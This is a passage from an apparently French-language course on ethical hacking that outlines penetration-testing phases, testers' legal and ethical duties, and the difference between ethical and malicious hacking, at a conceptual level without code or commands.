Le hacking éthique, également connu sous le nom de test d'intrusion ou pentesting, est l'art de simuler des attaques sur un système informatique pour découvrir et corriger les faiblesses avant que des attaquants malveillants ne puissent les exploiter. Les hackers éthiques, souvent appelés "testeurs d'intrusion" ou "pentesters", utilisent leurs compétences pour renforcer la sécurité des systèmes et des réseaux.

Objectifs du Hacking Éthique

- **Identification des Vulnérabilités** : Découvrir les faiblesses et les points d'entrée potentiels dans les systèmes informatiques.
- **Évaluation de la Sécurité** : Mesurer l'efficacité des mécanismes de sécurité en place.
- **Renforcement des Systèmes** : Fournir des recommandations pour améliorer la sécurité et prévenir les attaques réelles.
- **Conformité** : Aider les organisations à se conformer aux normes de sécurité et aux exigences réglementaires.

1.2 Le Processus de Test d'Intrusion

Voici les phases d'un test d'intrusion

1. Planification et Préparation :

- **Définition des Objectifs** : Clarifier les objectifs du test, les systèmes à tester, et les limites.
- **Autorisation** : Obtenir une autorisation écrite et explicite de l'organisation pour effectuer le test.
- **Collecte d'Informations** : Rassembler des informations sur l'infrastructure, les applications et les systèmes ciblés.

2. Reconnaissance :

- **Scan de Réseaux** : Identifier les services en cours d'exécution, les ports ouverts, et les systèmes connectés.
- **Collecte d'Informations Passives** : Utiliser des sources publiques pour obtenir des données sur l'organisation cible.

3. Scan et Énumération :

- **Identification des Vulnérabilités** : Utiliser des outils pour scanner les systèmes et identifier les vulnérabilités.
- **Énumération des Ressources** : Découvrir des informations détaillées sur les utilisateurs, les groupes, et les services.

4. Exploitation :

- **Exploitation des Vulnérabilités** : Tirer parti des faiblesses découvertes pour obtenir un accès non autorisé.
- **Élévation des Privilèges** : Accéder à des niveaux de privilèges plus élevés pour obtenir un contrôle complet du système.

5. Maintien de l'Accès :

- **Implémentation de Backdoors** : Installer des mécanismes pour maintenir l'accès au système compromis.
- **Évasion des Détections** : Utiliser des techniques pour éviter les systèmes de détection et les journaux d'audit.

6. Rapport et Documentation :

- **Rédaction du Rapport** : Documenter les résultats du test, les vulnérabilités découvertes, et les recommandations de remédiation.
- **Présentation des Résultats** : Discuter des résultats avec les parties prenantes et planifier les étapes de correction.

1.3 Les Responsabilités des Hackers Éthiques

Conformité Éthique

- **Respect des Lois** : Les hackers éthiques doivent toujours agir dans le cadre légal et ne jamais dépasser les autorisations accordées.
- **Confidentialité** : Protéger les données sensibles et ne pas divulguer les informations obtenues au cours du test.
- **Intégrité** : Fournir des résultats précis et honnêtes sans embellir les découvertes pour obtenir des bénéfices personnels.

Éthique Professionnelle

- **Consentement** : Obtenir un consentement éclairé et documenté avant de commencer les tests.
- **Transparence** : Informer les clients des méthodes utilisées et des éventuels impacts sur les systèmes.

- **Responsabilité** : Prendre des mesures pour minimiser les interruptions et les dommages potentiels pendant les tests.

1.4 Distinction entre Hacking Éthique et Hacking Malveillant

Hacking Éthique

- **Objectif** : Améliorer la sécurité en identifiant les vulnérabilités pour les corriger.
- **Autorisation** : Réalisé avec l'accord explicite du propriétaire du système.
- **Transparence** : Les actions sont effectuées de manière ouverte et documentée.

Hacking Malveillant

- **Objectif** : Exploiter les faiblesses pour causer du tort ou voler des informations.
- **Autorisation** : Réalisé sans le consentement du propriétaire du système.
- **Secret** : Les activités sont cachées et non divulguées aux victimes.

1.5 Compétences nécessaires pour le Hacking Éthique

- **Connaissances en Sécurité Informatique** : Maîtrise des principes et pratiques de la cybersécurité.
- **Compétences en Programmation** : Capacité à écrire et comprendre des scripts et des programmes pour automatiser les tests.
- **Analyse de Vulnérabilités** : Expertise dans l'identification et l'exploitation des failles de sécurité.

Conclusion

Le hacking éthique est une composante essentielle de la cybersécurité moderne. En adoptant une approche méthodique et responsable pour tester les systèmes, les hackers éthiques aident les organisations à protéger leurs infrastructures contre les menaces réelles. La clé du succès dans le hacking éthique réside dans la compréhension des objectifs, la conformité aux normes éthiques, et l'utilisation des outils et techniques appropriés pour identifier et remédier aux vulnérabilités. En investissant dans les compétences et la formation continue, les professionnels de la cybersécurité peuvent contribuer efficacement à la sécurité des systèmes informatiques.

2. Préparation d'un Test d'Intrusion

La préparation d'un test d'intrusion est cruciale pour garantir que les tests sont menés de manière efficace, sécurisée et dans les limites des autorisations accordées. Cette phase de préparation permet de planifier et de coordonner les activités de test afin d'identifier les vulnérabilités tout en